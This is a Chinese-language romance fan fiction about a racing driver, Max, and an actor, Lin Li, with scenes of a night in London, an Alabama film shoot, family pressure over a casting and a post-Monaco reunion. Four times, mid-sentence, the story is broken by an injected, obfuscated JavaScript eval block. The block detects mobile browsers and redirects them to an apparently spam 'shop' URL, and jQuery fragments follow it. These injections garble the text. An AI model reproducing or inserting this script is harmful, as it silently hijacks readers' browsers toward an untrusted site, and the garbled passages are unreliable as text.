麦克斯走进客厅。即使他对装修毫无研究，也能看出来林利花了心思。挑高的天花板，复杂的石膏线，保养得极好的复古皮沙发孤零零地摆在中央，旁边是一盏乳白色意大利落地灯。胡桃木长桌上铺满了地图、画册和散乱的笔记。 林利端着酒走过来，递给麦克斯一杯。指尖相触，温差顺着皮肤传导，两人都下意识地顿了一下，谁也没有先移开视线。 “所以，”麦克斯清了清嗓子，“我发给你的上一条消息是十四小时前。你已读不回。” “我在忙。”林利回答得很敷衍，“你知道的，沉浸式创作。” 麦克斯被他这种理直气壮惹笑了，他果然还是这么喜欢胡说八道。 “忙着在这个冰窖里把自己关起来？”麦克斯哼笑一声，并没有被他的借口打发走。他向前迈了一步，逼近林利，“而且，你的手在抖。” “我没法关掉它。”林利承认得很干脆，“那个角色……蜘蛛疯子，他还在我身体里乱窜。我压不住他。” “那就别压。”麦克斯野蛮地鼓励，“给我看看，让你忙得没空回消息的家伙到底什么样。” 林利看着麦克斯，肩膀微微塌陷下去，仿佛某种支撑他理智的骨架被抽走。 他慢慢地、一步步地向麦克斯走近：“你感受到了吗？”他轻声问道，带着黏稠、拖沓的质感，“恐惧……它就像那些小东西，顺着你的血管往上爬……” 他伸出手，冰凉的指尖死死扣住麦克斯的手腕。麦克斯血液跳动，本能地绷紧了前臂肌肉，一瞬间不知道该不该做出别的动作。 林利凑得很近，鼻尖几乎要碰到麦克斯的嘴唇。 他的瞳孔在灯光下放大，“只要你愿意献祭……”林利呢喃着，手指顺着麦克斯的手臂上滑，最后停在他的喉结上，轻轻摩挲，“圣灵就会充满你……就在这里。” 麦克斯感觉自己被钉在了无形的祭坛上。林利的指尖像是某种仪式的刀锋，寸寸游移，将他的感官连同理智一同剖开。 被划开、被审视，他是待宰的羔羊，心甘情愿地在这场疯狂的复活仪式中被彻底献祭。 “天啊。”麦克斯晕乎乎地在心里赞叹，“这太迷人了。” “好了，这就是你看到的。”林利呼了口气，卸下劲，将身体的重量倚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17159550|196580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 向麦克斯。他的脸颊贴着麦克斯的颈窝，闭上眼，像在自言自语，“怎么样？” 麦克斯收紧了手臂，让他靠得更稳。他的心跳还没有平复：“很精彩。该死的精彩。” 林利笑了起来，睁开眼：“谢谢捧场。”他挣脱开麦克斯的搀扶，重新拿起桌上的酒杯，“为了这个评价，我觉得我们应该再喝一杯。” 那瓶杜松子酒无声无息地下去了一半。伦敦的雨夜还在继续，室内却逐渐蒸腾起一股暧昧的热度。 他们坐在地板上，话题从食物滑向电影，又从电影滑向赛车。林利的话变多了，他开始模仿导演的口音，抱怨剧组的咖啡像洗脚水。麦克斯大笑着补充自己在无线电里被“哔”掉的脏话，还有新加坡的高温座舱里喝了两小时烫水的狼狈。 不知不觉间，两人的距离越来越近，那种仅存于电波里的默契悄悄落地。 手机里由像素点组成的影子，在此刻严丝合缝地与现实重叠。慢慢地，酒精开始接管大脑，林利的坐姿变得不再那么笔直。 “你知道吗……”林利晃着空了的杯子，看向麦克斯的眼神开始涣散，有些傻气地笑了：“你的短信很吵。真的很吵。” “是吗？”麦克斯也有些胀晕，但他比林利清醒得多。他看着眼前这个嘟嘟囔囔的家伙，觉得有趣极了，“那你还一直回复我。” “有时候……”林利念念有词，身体不受控制地歪了一下，“有时候，能让我开心一下。” 麦克斯看着他倒向自己，挪了挪肩膀。林利身上清冽的苦橙味混合着杜松子酒气，在这个狭小的空间里不断发酵。 “我讨厌虫子……”林利的声音越来越小，“我很怕虫子……” 麦克斯忍不住笑了，伸手拿走林利手里摇摇欲坠的酒杯，“我知道。”他低声说，“我也是。” “嗯……那看来我们又找到一个共同点……”林利迷迷糊糊地往麦克斯怀里钻了钻，“好暖和……” 麦克斯低下头，面前的人卸下了防备的刺，发梢无意间蹭过他的下巴，毛茸茸的触感像挠在他身上。 “喂，林。”麦克斯伸手捏了捏，“别在地板上睡，会着凉。” 没有回应。 林利的呼吸变得绵长而均匀。他的头一点一点地滑落，重重地砸在麦克斯的大腿上。他睡着了。 麦克斯叹了口气，嘴角却怎么也压不下来。 这算什么？大半夜下着雨跑来伦敦，看了一场表演，聊了一会天？行吧，好像也不赖。 他小心翼翼地把林利抱了起来，放在床上。 麦克斯的手指顿了顿，犹豫了一下，还是伸手解开了林利衬衫上面的两颗扣子，让他能呼吸得顺畅些。 卧室里很暗，只有窗外透进来的微光。 麦克斯站在床边，看着此刻林利安静又脆弱的脸。 不着急。 麦克斯帮他掖好被角，和衣躺在一旁。他想，他有的是耐心。 “晚安，林。” 5. 戒断反应 3月，阿拉巴马州，安妮斯顿。《神弃之地》片场周围。 面前摆着两盘毫无食欲的沙拉，酱汁被特意要求分装在旁边小碟子里，散发着一股令人绝望的醋酸味。汤姆·赫兰德坐在对面，正在用叉子百无聊赖地戳着一颗圣女果，嘴里滔滔不绝地念叨着这地方糟糕的基础设施。 “……真的，这简直是原始社会。”汤姆把那颗可怜的圣女果戳了个对穿，汁水溅到了盘子边缘，他愤愤不平，“我问前台能不能升级网络，他们看着我就像在看一个外星人。林利？你在听吗？” 林利·福斯特不着痕迹地按灭了手机屏幕：“在听。”他端起黑咖啡喝了一口，焦苦味在舌尖蔓延，“是原始社会。前几天 我的手机就差点没信号了。” “又是手机，你都看第五次了！”汤姆探过头，“谁？经纪人？还是……”他暧昧地眨了眨眼。 “没有谁，一个……很吵的麻烦。”林利叉起一片难吃的菜叶塞进嘴里，不想解释太多。他低下头，再次点亮屏幕。 这是林利进组的第四周。为了演好神经质的牧师罗伊，他强迫自己切断了大部分网络，把自己浸泡在这个潮湿、阴郁、散发着霉味的地方。拍摄勉强还算顺利，昨天他刚拍完那场把活蜘蛛倒在脸上的戏份，节肢动物在皮肤上爬行的触感至今还残留在神经末梢，让他时不时想要打冷颤。 这段时间，他变得敏感、焦躁，对光线过敏，对声音厌恶。唯一的例外，是口袋里那个总是震动的手机。 【Emily：脖子快断了。图片：他布满红痕的肩膀，被安全带勒出的淤青。】 【L：可怜的家伙。要我给你寄点这里的烂泥去做热敷吗？据说对消肿很有效。】 【Emily：滚蛋。我需要听你的语音，就现在。】 …… 【L：我失眠了，这个角色在吃我的脑子。图片：漆黑的房间天花板。】 【Emily：那就发泄出来。】 【Emily：我喜欢你上次对我吼的样子。】 【L：并没有起到帮助，谢谢。:)】 林利上下滑动页面，翻看着这段时间两人不间断的聊天记录。他知道这很危险，和一个只见过两次面，生活在时速300公里世界的、极富攻击性的男人保持这样奇怪的关系。但他控制不住，在这个发霉的沼泽里，他贪恋麦克斯带来的光源，想要依赖这个人旺盛的生命力。 最新的一条刚刚跳出来。 【Emily：准备出发去墨尔本，真正的战争要开始了。图片：一只脚踩在行李箱上。】 【Emily：你会看的，对吧？】 “如果我没忘记时间的话。你知道的，这边天天都差不多。”林利在对话框里敲下一行字，点击发送。 【Emily：你看我比赛，我就能取得好成绩。这不是迷信。】 真是个自大的混蛋。林利轻笑着摇了摇头，收起手机。 “好吧。看你笑成那样。”汤姆耸了耸肩，放弃了追问，“不管是谁，肯定不是你的经纪人。” 汤姆把叉子扔回盘子里，发出清脆的一声“叮”。他向后靠在椅背上，长叹了一口气，“说真的，林利。你有没有觉得……”汤姆压低了声音，“这地方有点邪门？不是说闹鬼，就是感觉太安静了。每天收工回去，除了鸟叫声什么都没有。” 他抓了抓头发，有些苦恼：“昨晚我盯着镜子，有一瞬间甚至分不清我到底是在21世纪，还是被困在了该死的60年代。这种感觉糟透了。” 汤姆说得没错，这里的空气异常黏稠，角色故事牢牢地吸附在他们身上。“是很难熬。”林利承认，“特别是这种压抑，天啊。” “对！就是这个！”汤姆像是找到了知音，“我们总得找点办法清醒清醒。你知道，我最近一直在打游戏，《堡垒之夜》《使命召唤》之类的，还有新出的《Apex》。”说到这里，他又挫败地瞪了一眼窗外：“可惜这地方的破网速连我唯一的救命稻草都给拔了。不过如果你有兴趣的话，我们可以一起再试试？” 林利设想了一下，迅速摆了摆手：“我不适合这种，你知道的。”他的目光再次落回手机屏幕上，想起消息列表里的“Emily”。 … 阿拉巴马凌晨1:00，比赛日。 林利反锁了酒店房间的门，他没有开灯，笔记本屏幕幽蓝的光映在脸上。 屏幕里的墨尔本阳光刺眼得令人嫉妒。林利裹紧了毯子，整个人缩在扶手椅里，冷得只露出上半张脸。 五盏红灯熄灭，引擎轰鸣。解说员的声音从扬声器里传出来，激动地分析着轮胎策略和起步排位。林利的目光紧随着那辆深蓝色的33号赛车，跟着它一起入弯、碾过路肩，像只闻到血腥味的鲨鱼一样死死咬住前车。 第31圈。前面的红色法拉利在弯道挣扎，轮胎冒出青烟。林利猛地坐直了身体，毛毯滑落了一半。一种强烈的直觉击中了他。“动手。”他喃喃自语，“就是现在……就是现在。” 屏幕上，那辆蓝车突然抽头，把自己扔到了外线。它在外线强行并排，随即在弯心处极其强势地切了进去，没有丝毫犹豫。 “Yes!”林利低喊，猛地攥紧扶手。他的心跳在巨大的感官刺激下怦怦作响，冷得发麻的身体血液回温，好像坐在滚烫的座舱里和麦克斯一起经历了刚刚那场疯狂。 … 凌晨3:30。比赛结束。 第三名，红牛本田时代的第一个领奖台。林利关掉直播页面。 没有了引擎的轰鸣，周围安静得可怕。刚才因激动带来的短暂体温悄然退潮，取而代之的是另一种怅然的空虚。林利放下笔记本，双手掩面，这种落差让他有点后悔今晚没有选择好好补足他可怜的睡眠。 手机在一旁猛地震动起来。【来自Emily】几个字在黑暗中格外显眼。 林 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17159551|196580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 利无奈地叹了口气，点开接通。麦克斯那张脸填满了屏幕。他显然还在围场，还没来得及换衣服，深蓝色的防火服裹着香槟和汗水，紧紧贴在身上，勾勒出剧烈起伏的胸口。他摘了帽子，金色的湿发向后乱翘，像一头雄心勃勃的年轻狮子。 “看到了吗？”麦克斯神情亢奋，声音依然沙哑，“我刚刚的表现。” “看到了。”林利站起身，拿着手机走到床边，“不得不说，麦克斯，你可真是惊人。” “哈！我就知道。”麦克斯咧嘴笑了起来，露出一口白牙，荷尔蒙甚至都要溢出来。他似乎走到了一间没人的休息室，周围安静下来。他凑近镜头，眯起眼睛：“你在哪？怎么这么黑？” “阿拉巴马现在凌晨三点半，我当然是在酒店。”林利找了找舒服的姿势，斜靠在床头拉过被子。 “开开灯，我想要看你。” 典型的维斯塔潘。林利一边小声抱怨，一边伸手按下台灯。暖黄色灯光洒在他的半边脸上。 麦克斯停止了擦汗的动作。哪怕隔着半个地球，林利也能感觉到那种审视的目光。“你好像又瘦了，林。”麦克斯的声音沉了下来，“剧组没给你吃饭吗？” “都是角色需要。”林利眼神游移，努力不和麦克斯对视，“我的戏份快结束了，等回去后很快就会涨回来。” “我不喜欢你这种说法。”麦克斯突然说。他把手机放在一边，动手解开被汗水浸透的赛车服领口。“滋啦”一声，露出底下印着REDBULL的白色打底衣。 “你需要接触点现实。”麦克斯盯着屏幕，“别让那个角色把你吞了。” “等我一下。”他突然转身，不知道从哪摸出了刚刚领到的奖杯，举起在镜头前晃了晃。 “看这个。”麦克斯表情严肃，“第三名。虽然不是冠军，但它是热的。”他指了指奖杯，又指了指自己还在冒汗的额头。“这也是热的。我在这里，林。看着我……会没事的，好吗？” 林利看着屏幕，鬼使神差地伸出手指落在屏幕上，触碰着麦克斯泛红的脸颊，仿佛冰凉的玻璃能带给他暖意。 “好。”林利慢慢收回手，试图留住刚才那一瞬的错觉，“我会的。” 视频里传来急促的敲门声：“麦克斯！媒体采访！你快迟到了！” 麦克斯不耐烦地皱起眉，回头吼了一句：“这就来！”他重新戴好帽子，将镜头与视线平齐，“去睡一觉。别想那个什么蜘蛛疯子了。”麦克斯顿了顿，补充了一句，“梦到我就行。” 房间重新被寂静吞没，林利慢慢躺下。恍惚间，他好像又回到了那个伦敦的夜晚。那天也是这样的温度，他记得自己最后迷迷糊糊地睡着了，旁边挨着麦克斯，就像挨着一个巨大的、恒定的热源。那时候，只要他稍微翻个身，就能汲取到滚烫的热意。 而现在，林利闭上眼。在阿拉巴马寒冷的深夜里，把冰凉的手机贴在胸口，只有一片更加刺骨的冷。 6. 快车 每次回到家，就不会有多么好的心情。林利很清楚这一点，从他踏入门厅、脱下大衣露出那副瘦骨嶙峋的身板开始，父亲阿利斯泰审视的目光就没离开过他。 “三分熟，你以前喜欢的。”主座上的阿利斯泰抬了抬手，示意一旁的人将盘子端到林利面前，语气淡漠，“虽然我不确定你现在的肠胃还能不能消化正常食物。” 林利看着盘子里厚切的羊排，暗红色的血水顺着纹理渗出来，积聚在洁白的骨瓷盘底，让他幻视成阿拉巴马片场里混着黑泥的血。 一股强烈的生理性反胃涌了上来。 “谢谢。”林利拿起刀叉，强压下反应。微微颤抖的手指还是出卖了他，“叮。”刀刃磕在盘沿上发出一声刺耳的脆响。 “你看起来就像个瘾君子。”母亲艾琳娜打破了沉默。她坐在长桌的另一侧，并没有动面前的食物，眼神在林利消瘦的脸颊上扫视，带着一种挑剔的痛心。“你在剧组都做些什么？看看你，手都拿不稳。还有你糟糕的脸色。”她皱起眉头，“毫无光泽。你正在毁掉你的这张脸。” 林利把那只颤抖的右手放到了桌下，在膝盖上用力握紧，“工作强度比较大，妈妈。”他尽量维持表面平静：“而且为了角色，这种状况只是暂时的。我很快就会恢复，别担心。” “为了角色。”阿利斯泰发出一声短促的鼻音。他切下一块肉放进嘴里，“我放任你去拉达挥霍了三年，不是为了让你变成难民的。” 他放下酒杯，用餐巾擦了擦嘴角：“看看你现在的样子，林利。如果你所谓的事业就是让你像落魄鬼一样坐在我的餐桌上，那你最好重新评估一下你的选择。” 阿利斯泰抬起眼皮，和林利如出一辙的灰蓝色眼睛直直看向他：“在这个圈子里，形象就是信誉。你的身体、你的面孔，都是你的核心资产。而你现在正在让它贬值。” 又是这套理论，从小到大，在这个家里，一切都是可以量化的。“这是必须的付出。”林利忍住不耐，“电影需要这种病态感，这在业内……” “没人关心那部我连名字都想不起来的电影需要什么，也没人关心你付出了什么。”阿利斯泰平稳地打断了他，“人们只在乎成功者，我的朋友们也只能看到这些。而现在他们看到的只是我的儿子像个彻头彻尾的失败者，不体面，也不健康。” 他指了指林利眼下遮也遮不住的青黑色：“你现在的样子，让我很难做。” 林利抿紧了嘴唇，不再说话。父亲阿利斯泰根本听不懂，也不屑于去懂什么叫表演艺术。在他的价值体系里，演员和马戏团的小丑没有本质区别，唯一的衡量标准就是“是否体面”和“是否有变现能力”。 “不过，我帮你找了个补救的机会。”阿利斯泰语气缓和了些，“《1917》，我已经打过招呼了，你是候选名单里的第一顺位。” 林利猛地抬起头：“你干预了我的选角？” “你应该感谢我的干预。”阿利斯泰看着他，“这是一部真正的A级制作。去演个士兵，穿上军装，挺直腰板。哪怕是在泥地里爬，至少那是为了大英帝国，而不是像现在这样……”他不加掩饰地轻蔑，“演一些不知所谓的怪胎，在小角色里兜兜转转。” 他压了压桌子，“你需要一部像样的作品来‘修正’你的职业道路。” 修正。在阿利斯泰眼里，林利好像一棵长歪了的树，需要被强行掰回正轨。 “经纪人知道吗？”林利的声音微微发抖。 “他当然知道。他是个聪明人，知道什么对你有好处。如果像你一样天真，我早就让他滚蛋了。”阿利斯泰重新拿起刀叉，“两周后去试镜。把自己收拾妥当，吃点东西，别让我丢人。” 林利看着阿利斯泰理所当然的表情，感到一阵窒息。他无法再忍受，“砰”的一声，重重地推开椅子站了起来，“我不需要你的‘可怜’，更不会为了你的面子而去做什么‘修正’！” “坐下。”阿利斯泰沉下声音，“你可以走出这个门，但只要你还姓福斯特，就得去参加试镜。别忘了是谁在为你那所谓的‘梦想’买单。没有我在背后，你以为你在那个圈子里算什么？一个有点天赋的漂亮花瓶？” “阿利斯泰！”母亲艾琳娜惊呼了一声，似乎觉得这话太重了。 “花瓶。”林利重复了一遍。这就是一个父亲对自己儿子的评价。他没有再看向他们一眼，转身大步走向门厅。身后传来了父亲的一声轻哼：“你会去的，林利。你没有别的选择。” …… 林利坐在车里，车窗外云层压得很低。手机在副驾驶座上震动，是经纪人的短信。 【斯科特：林利，我知道对你而言很难这样接受角色。但这可是萨姆·门德斯的大制作，相信我，这是千载难逢的机会。虽然是福斯特先生牵的线，但只要进了组，表现就是你自己的，别和前途过不去。】 林利闭上眼，头向后重重地靠在椅背上。 如果他拒绝，就是任性、不成熟，是个为了可笑的自尊心毁掉前途的傻瓜。如果他接受，就是承认自己是个离了家就活不下去的废物，承认父亲阿利斯泰是对的。 可如果是麦克斯呢？那个从来不被规则束缚，在赛道上为了赢可以不择手段的年轻车手。他会怎么选？ 林利拿起手机，犹豫了一下，手指悬在键盘上。他不想把这种家务事上的软弱暴露给麦克斯，但他现在迫切需要一个不同的视角。 他删删减减，试着用最隐晦的方式提问。 【L：如果有人给你一辆很快的车，但这辆车是你最讨厌的人给的，目的是证明你离了他就不行。你会开吗？】 发送。林利将手机扔在一边，觉得自己问了一个蠢问题。他想从麦克斯那里听到什么回答？ 不到一分钟，手机猛地震动起来。 【来自Emily】的视频请求。 视频里，麦克斯正穿着深 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17159552|196580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蓝色的车队polo衫匆匆走着。“你是白痴吗，林？”麦克斯抹了一把头发，“我刚从巡游车上下来，你就给我看这种蠢问题？” 他走进休息室，停下脚步：“只要车是快的，我才不管它是谁给的。”镜头猛地拉近，怼到眼前，“别管车是从哪来的，也别管那个给车的人想证明什么。坐进去，踩油门，用你的速度让他闭嘴。” “记住，这是羞辱他的最好方式。赢了，车就是你的，荣耀也是你的。”麦克斯移开屏幕，快速说道：“我要去做准备了。别掉队，林。” 咔嗒。视频断开。 林利在车里愣了愣，突然笑了起来。是啊，麦克斯是对的。管它是谁给的车，只要它足够快。阿利斯泰觉得这是他在动用人脉“拯救”儿子的事业。林利当然也可以借着这条铺好的轨道，用自己的方式跑下去。 他拿起手机，拨通了经纪人斯科特的电话。 “林利？”斯科特接得很快，语气里带着劝说，“你和福斯特先生谈得怎么样？关于门德斯导演那边的试镜……” “帮我约时间，我会去的。”林利打断了他，“但我不需要那个所谓的‘第一顺位’。你可以告诉我父亲，我要参加公开试镜。如果我不合适，干脆就让我被刷掉。” 斯科特在电话那头迟疑：“林利，福斯特先生已经打过招呼了，你完全可以……” “那是他的事。”林利盯着挡风玻璃外阴沉的街道，“我只要一份试镜剧本。”他发动引擎，一路开回公寓。 … 斯科特的动作很快，试镜片段已经发到了他的邮箱。页数不多，首页写着布雷克下士几个字。林利陷在沙发里，指尖在屏幕上缓慢滑动。 阿利斯泰没有骗他，这的确是一个绝佳的机会。他原以为会看到那种老掉牙的、带着英雄主义色彩的战争宣言。可当他读完文字片段后，呼吸却不由自主放轻。 布雷克下士不是什么身经百战的铁血战士，他只是个普通的农场少年。在简短的文字里，他喋喋不休地谈论着家乡的樱桃树，谈论着母亲如何通过樱桃的甜度来判断季节，谈论着那些与这场残酷战争毫无关系的、琐碎的温情。 林利被这个角色所触动。在父亲阿利斯泰那种一切皆可量化的权力逻辑里，布雷克身上这样有些笨拙，甚至与战火格格不入的眷恋，反倒映衬出一种近乎奢侈的鲜活。 林利合上眼。不管家里怎么安排，也不管剧组会怎么看他，他要做的只有尽最大努力实现这个角色。他知道，那个疯癫的、阴冷的灵魂该离开了。 接下来的两周，林利把自己丢进了健身房和海德公园的斜坡。他背着装满重物的登山包，在清晨的冷风里不知疲倦地奔跑。踩在大地上的触感、清晨青草味的空气……他终于在泥土与汗水里，找到了布雷克充满热度的生命力。 【L：谢谢你，麦克斯。】 【Emily：虽然不知道你在谢我什么，我收下了。:D】 7. 维修区限速 “林利·福斯特，导演在等你。” 林利应了一声，深吸一口气，推开了试镜室的木门。 房间里比想象中局促，空气中浮动着一种木质的油蜡味。两台冰冷的专业摄影机架在中央，镜头黑洞洞地锁定着试镜区。 萨姆·门德斯坐在监视器后面，鼻梁上架着一副深色边框眼镜，旁边是神情严肃的选角导演。 林利站在黄色胶带标记的虚线上，房间内沉甸甸的氛围让他下意识压低肩膀，脊背微微弓起，仿佛那里正压着装满重物的步兵背包。 “那些樱桃树……”屋内响起了粗糙温厚的男声。他在狭小的取景框里挪动了一步，脚掌内扣，脚尖用力抵住地板，肩膀随着呼吸产生一种细微的、疲惫的颤抖。平整的木地板消失了，他正踩进一滩黏稠的烂泥里。“我母亲总说，看一眼花开的颜色就能知道今年的果子甜不甜。”他蜷缩着“冻僵”的手指，目光落在斜前方的虚空处。监视器的屏幕里，是一个刚从废墟里爬出来、满身硝烟却仍眷恋土地的灵魂。 空气里的油蜡味被一缕淡淡的、家乡的樱桃树清香给冲散了。 …… 五月，索尔兹伯里平原。 林利叉着腿坐在土坡边，抖了抖靴筒里的泥浆，大口嚼着一块干巴巴的苏打饼干。羊毛军装热烘烘的，就是有点扎人。 “没力气了，真的。”饰演男主角的乔治·麦凯一屁股砸在泥坡上。他抹了一把脸，指甲缝里的假血蹭得满脸都是，“萨姆要是再让我跑一遍，我就直接躺在坑里当个真正的尸体。” 林利没接话，从汗津津的兜里掏出半包碎渣饼干扔到他膝盖上：“吃你的吧。省得还没拍到你牺牲就先饿死了。” 乔治抓起饼干渣塞进嘴里，嚼得嘎吱响：“……咳，你从哪翻出来的？我刚才找了一圈都没见着吃的。” “道具服的口袋里，不知道谁塞进来的。”林利瞥到对方的钢盔已经歪到鼻梁上，顺手扶了扶，“戴正。我可不想在战场上照顾一个连帽子都戴不稳的笨蛋。” “谢了，朋友。”乔治用肩膀撞了撞他，“说真的，我们哪天得好好吃一顿，补一补。这么辛苦，对吧？” “得了吧。我看你刚才那条跑得够呛，明天的大冲刺如果再摔一跤我都不敢想。”林利白了他一眼，踢了踢脚尖挂着的泥块。 乔治嘿嘿笑了一声道：“路太滑了！放心，明天不会给你看笑话机会的。” 结束拍摄回到酒店，林利迫不及待地刷新摩纳哥大奖赛的即时排名。【麦克斯·维斯塔潘—五秒罚时】的红字突然跳进视线，林利握紧手机，懊恼地拍了拍膝盖。摩纳哥赛道太窄了，超车几乎是不可能的，前排车手想要拉开五秒以上时间的难度不用想都知道。 林利紧张地等待结果，还是没有好消息。虽然最终以第二名冲线，经历罚时之后麦克斯落到了第四，丢失了领奖台。他打开对话框，想来想去，删掉了一长串安慰的废话，最终只发出去一句： 【L：你还好吗？】 不到五分钟，手机猛地一震，【来自Emily】的视频请求横冲直撞地弹了出来。 “这简直是个笑话！”麦克斯盯着镜头，语速极快，胸口剧烈起伏，“我在维修区根本没看到博塔斯，那不是我的错！他们坐在那，就能剥夺我七八十圈的努力，简直是不可思议！” “我看到了。”林利看着屏幕里麦克斯涨红的脸，语气尝试放缓，“我看到你一直咬在汉密尔顿身后。那种压迫感，只有你，只有你能让他连呼吸都觉得困难。我为你骄傲，这不是你的错。” “但我超不过去！我尝试了一切。”麦克斯甩下帽子，“我并不在乎那五秒钟的罚时，真的。我只是想超过去。” “我知道。”林利温柔地看向麦克斯的双眼，“你是那条赛道上唯一一个还在想办法超车的人。麦克斯，你比所有人都更像冠军。” 麦克斯沉默了一会，喉结上下滑动，眼神开始不自然地向屏幕边缘飘移：“Oh, 林……”他支支吾吾地开口，声音低了下去，有些局促地用手背蹭了蹭鼻尖，“你别这么说……我连领奖台都没上去。”他低头看向自己的指关节，嘴角似乎想抿出一个弧度。 林利想，眼前的人真是只大猫，毛茸茸的，摸一摸就会消气。他忍不住补充，想要再夸一夸他：“你知道的，麦克斯。你是我见过最有天分、最厉害的人之一。” 麦克斯迎上林利的目光。捕捉到林利眼角的笑意、脸上没洗干净的泥痕，还有那件厚厚的旧军装。在这一刻，他心中猛地升起一种最直白的渴望。 “我想见你。”麦克斯声音沙哑，“在那等我，林。我这就过去。” …… 凌晨三点半。 林利被一阵咚咚的敲门声惊醒。打开门，麦克斯带着一阵冷飕飕的风挤了进来。他看起来有些疲惫，肩膀微微垮着，眼睛布满血丝。 “麦克斯。”林利轻声唤他。 麦克斯没说话，他两步跨上来，伸手把林利死死勒进怀里。 他将脸深深埋在林利的颈窝，鼻尖蹭着那层柔软的真丝。“我根本不想待在那了，到处都是假笑和愚蠢的问题，烦透了。”麦克斯的声音闷在林利肩头，深深叹了口气，“我就想来找你。” 林利能感觉到麦克斯的身体还在微微发颤。他下了比赛就一路奔波过来，甚至还没有休息。林利伸出手，轻轻抚上麦克斯结实的后背，来回摩挲，“我在这呢。” 半晌，麦克斯抬起头，冰蓝色的瞳孔直勾勾地看向林利。他的指尖蹭过林利的眉骨，在林利的眼皮上描摹了几下，又摸了摸林利因为连日拍摄变得有些粗糙的脸颊。 “你变了，林。”麦克斯凑近他，额头抵住额头，呼吸喷在林利的鼻尖，“三月的时候，在阿拉巴马……说实话，看到你那样，我一点都不好受。” 林利轻笑，抬手穿过麦克斯乱糟糟的头发，“现在呢？” 麦克斯重新抱了上来，满足地叹气：“现在……你很踏实，林。我能摸到你，你是真实的。很高兴能看到你精神变好。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17159553|196580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他捏了捏林利的脊背，“也很高兴看到你胖了一些。” 林利哑然失笑，顺着他的力道把自己更深地埋进怀抱：“胖了吗？那可能是因为我现在每天要在泥里滚十几个小时，没有好的身体可不行。” “这很好。之前你瘦得感觉风都能刮走。”麦克斯嘟囔着，像是在确认一样又四处捏了捏，才松开了一点力道。他低头深深地看着，林利在他灼热的目光下脸颊微微发烫：“你要不要先洗个热水澡？放松放松，我先收拾一下。” 水声很快响了起来。 林利趁着这工夫，从行李箱里翻出一件宽大的备用 T 恤扔在盥洗台上。没过十分钟，浴室门被推开，一团潮湿的热气涌了出来。 麦克斯只在腰上松松垮垮地围了一条浴巾，头发湿漉漉地塌着。热水稍微冲散了他眼底的血丝，原本紧绷的肌肉在热气中舒展开来。他反手抓过T恤套上，布料有些紧地裹在宽阔的肩膀，带出一股好闻的干爽气息。 林利笑了笑，拿起一条毛巾朝他招了招手，“过来，把头发擦干。这里的凌晨比你想象得要冷。” 麦克斯顺从地坐在床边，随手拿毛巾抓了几把，一边还执拗地抓着林利的一只手不肯放开。 “那时候在TR里听到五秒罚时，我告诉他们我不在乎。”麦克斯盯着两人交握的手，声音在水汽的影响下显得有些闷，“我只是想超过去。我能看到汉密尔顿的轮胎已经彻底完了，他在每一个弯道都在挣扎。我追得那么近，只差那么一点。” 他停顿了一下，指尖下意识地在林利的掌心比画，眼神里流露出一丝不甘，“那是摩纳哥，林。在那超车太难了。我在维修区真的没看到博塔斯，那是个意外，但他们根本不听。” “我真的拼尽全力了。”他向后仰躺，顺势一拽，将林利也一起拉倒在床上。 “我知道，”林利低声回应，心软得一塌糊涂，“我都知道。” 麦克斯伸手环住林利的腰，下巴抵在他柔软的黑发间。两人在昏暗的灯光下紧紧依偎着，房间很小，床也很窄。两个成年男人挤在一起显得局促极了，却形成一道谁也无法入侵的屏障。 麦克斯微微低头，视线在林利的唇瓣上停留了一会，诉说着无声的渴望。 “林……”麦克斯低声唤着林利，鼻尖亲昵地蹭了蹭。 林利的指尖穿过他半干的发丝，仰起头引导着这个充满眷恋与慰藉的吻。 麦克斯的呼吸沉重起来，向四周寻找了几下，一把抓住林利的手，用力扣在一起。“别走。”麦克斯在亲吻的间隙含糊不清地呢喃。 “我不走。”林利亲了亲他泛红的眼角，“我就在这里，麦克斯。我就在这里。” 索尔兹伯里平原上的风拍打着窗户。 在这间窄小的房间里，两人紧紧依偎。所有关于速度、遗憾和疲倦的喧嚣都彻底熄了火。 